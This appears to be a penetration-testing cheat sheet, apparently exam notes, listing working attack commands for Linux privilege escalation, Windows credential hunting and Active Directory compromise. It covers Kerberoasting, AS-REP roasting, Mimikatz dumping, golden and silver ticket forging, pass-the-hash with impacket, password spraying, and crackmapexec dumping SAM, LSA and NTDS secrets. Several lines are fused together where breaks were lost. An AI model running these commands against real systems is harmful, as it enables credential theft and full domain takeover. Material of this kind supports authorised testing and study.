watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials
#Process related information can also be obtained from PSPYsudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null#Detecting Cronjobs
cat /etc/crontab
crontab -l
pspy #handy tool to livemonitor stuff happening in Linux##Mountable shares
cat /etc/exports #On target
showmount -e <target IP> #On attacker
###Check for "no_root_squash" in the output of shares
mount -o rw <targetIP>:<share-location> <directory path we created>
#Now create a binary there
chmod +x <binary>💡 Run WinPEAS.exe - This may give us some more detailed information as no we’re a privileged user and we can open several files, gives some edge!This is more windows specific as exam specific.
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#Example
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txtreg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s#These are KeyPassX password stored files
cmd> dir /s /b *.kdbx
Ps> Get-ChildItem -Recurse -Filter *.kdbx
#Cracking
keepass2john Database.kdbx > keepasshash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshash- Mimikatz
- If this is a domain joined machine, then follow Post-exp steps for AD.
- To check local administrators in domain joined machine
net localgroup AdministratorsImport-Module .\PowerView.ps1 #loading module to powershell, if it gives error then change execution policy
Get-NetDomain #basic information about the domain
Get-NetUser #list of all users in the domain
# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is sideheading for the output of above command. we can select any number of them seperated by comma.
Get-NetGroup # enumerate domain groups
Get-NetGroup "group name" # information from specific group
Get-NetComputer # enumerate the computer objects in the domain
Find-LocalAdminAccess # scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain
Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSession, adding verbosity gives more info.
Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in domain
Get-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(security identifier). ObjectSID
Convert-SidToName <sid/objsid> # converting SID/ObjSID to name
# Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtoname
Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Find-DomainShare #find the shares in the domain
Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accounts- Collection methods - database
# Sharphound - transfer sharphound.ps1 into the compromised machine
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory <location> -OutputPrefix "name" # collects and saved with the specified details, output will be saved in windows compromised machine
# Bloodhound-Python
bloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d <domain-name> -c all #output will be saved in you kali machine- Running Bloodhound
sudo neo4j console
# then upload the .json files obtained# To see user logons at remote system of a domain(external tool)
.\PsLoggedon.exe \\<computername># Crackmapexec - check if the output shows 'Pwned!'
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success #use continue-on-success option if it's subnet
# Kerbrute
kerbrute passwordspray -d corp.com .\usernames.txt "pass"impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request #this gives us the hash of AS-REP Roastable accounts, from kali linux
.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host
hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashes.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname
impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine
hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes- Obtaining hash of an SPN user using Mimikatz
privilege::debug
sekurlsa::logonpasswords #obtain NTLM hash of the SPN account here- Obtaining Domain SID
ps> whoami /user
# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain SID is "S-1-5-21-1987370270-658905905-1781884369"- Forging silver ticket Ft Mimikatz
kerberos::golden /sid:<domainSID> /domain:<domain-name> /ptt /target:<targetsystem.domain> /service:<service-name> /rc4:<NTLM-hash> /user:<new-user>
exit
# we can check the tickets by,
ps> klist- Accessing service
ps> iwr -UseDefaultCredentials <servicename>://<computername>secretsdump.py <domain>/<user>:<password>@<IP>- Here we can pass the credentials or even hash, depending on what we have
psexec.py <domain>/<user>:<password1>@<IP>
# the user should have write access to Admin share then only we can get sesssion
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash here
smbexec.py <domain>/<user>:<password1>@<IP>
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash here
wmiexec.py <domain>/<user>:<password1>@<IP>
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash here
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash herewinrs -r:<computername> -u:<user> -p:<password> "command"
# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell
# run this on windows session- If stuck make use of Wiki
crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Bruteforcing attack, smb can be replaced. Shows "Pwned"
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '[+]' #grepping the way out!
crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success #Password spraying, viceversa can also be done
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provide creds if you have one
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --disks
crackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ip
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessions
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policy
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashes
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secrets
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit file
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also run with a specific group and enumerated users of that group.
crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing commands, "-x" for cmd and "-X" for powershell command
#crackmapexec modules
crackmapexec smb -L #listing modules
crackmapexec smb -M mimikatx --options #shows the required options for the module
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default command
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug' #runs specific command-M .\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$